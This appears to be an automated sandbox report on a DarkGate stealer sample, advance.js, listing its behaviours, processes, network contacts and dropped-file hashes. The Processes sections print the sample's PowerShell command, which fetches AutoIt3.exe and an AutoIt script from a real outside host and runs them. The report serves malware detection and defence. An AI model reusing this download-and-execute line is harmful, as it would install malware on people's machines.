Malware Analysis Report

2024-11-30 11:12

Sample ID 231027-s4nc4sfd5v
Target advance.js
SHA256 0935ffbd6eb40f99494f748a513ac8272239d529c4b3930f07cdef620145d19d
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0935ffbd6eb40f99494f748a513ac8272239d529c4b3930f07cdef620145d19d

Threat Level: Known bad

The file advance.js was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-27 15:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-27 15:40

Reported

2023-10-27 15:43

Platform

win7-20231023-en

Max time kernel

120s

Max time network

124s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\advance.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\advance.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msiashzasyd' -OutFile 'ashzasyd.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ashzasyd.au3'"

Network

N/A

Files

memory/2600-4-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

memory/2600-5-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2600-6-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2600-7-0x000000001B250000-0x000000001B532000-memory.dmp

memory/2600-9-0x0000000001F50000-0x0000000001F58000-memory.dmp

memory/2600-8-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2600-10-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2600-11-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-10-27 15:40

Reported

2023-10-27 15:43

Platform

win10v2004-20231023-en

Max time kernel

138s

Max time network

155s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\advance.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\temp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\temp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\temp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\advance.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msiashzasyd' -OutFile 'ashzasyd.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ashzasyd.au3'"

C:\temp\AutoIt3.exe

"C:\temp\AutoIt3.exe" ashzasyd.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 8.3.197.209.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 profitcentronline.com udp
US 195.123.233.201:2351 profitcentronline.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 219.21.30.184.in-addr.arpa udp
US 8.8.8.8:53 201.233.123.195.in-addr.arpa udp
US 195.123.233.201:2351 profitcentronline.com tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 1.208.79.178.in-addr.arpa udp
US 8.8.8.8:53 126.20.238.8.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 25.73.42.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xpnliavj.5ds.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1076-6-0x000001DDCA680000-0x000001DDCA6A2000-memory.dmp

memory/1076-7-0x00007FFFAA7F0000-0x00007FFFAB2B1000-memory.dmp

memory/1076-8-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

memory/1076-9-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

memory/1076-13-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

memory/1076-14-0x00007FFFAA7F0000-0x00007FFFAB2B1000-memory.dmp

memory/1076-15-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

memory/1076-16-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

C:\temp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\temp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/1076-30-0x00007FFFAA7F0000-0x00007FFFAB2B1000-memory.dmp

C:\temp\ashzasyd.au3

MD5 c755b238783fc0cc423a75a4e4cdd98a
SHA1 acc579c4b18a9fc78e2a5cef6ba22e5ea8a65a64
SHA256 f1042dd0bd4d4f2009d355a9bfaf858e9a56313c058104ae56c1580725d12e34
SHA512 acacd3f84761208561692d1f40ccc8804d3466ff73fb03a88dcee671625d77e3b170f722b870d825b86d306dc4144ed5f36681cf524bbb169dcb3ebb942fc19d

memory/4244-33-0x0000000001970000-0x0000000001D70000-memory.dmp

memory/4244-34-0x0000000004A30000-0x0000000004D5A000-memory.dmp

memory/4244-35-0x0000000004A30000-0x0000000004D5A000-memory.dmp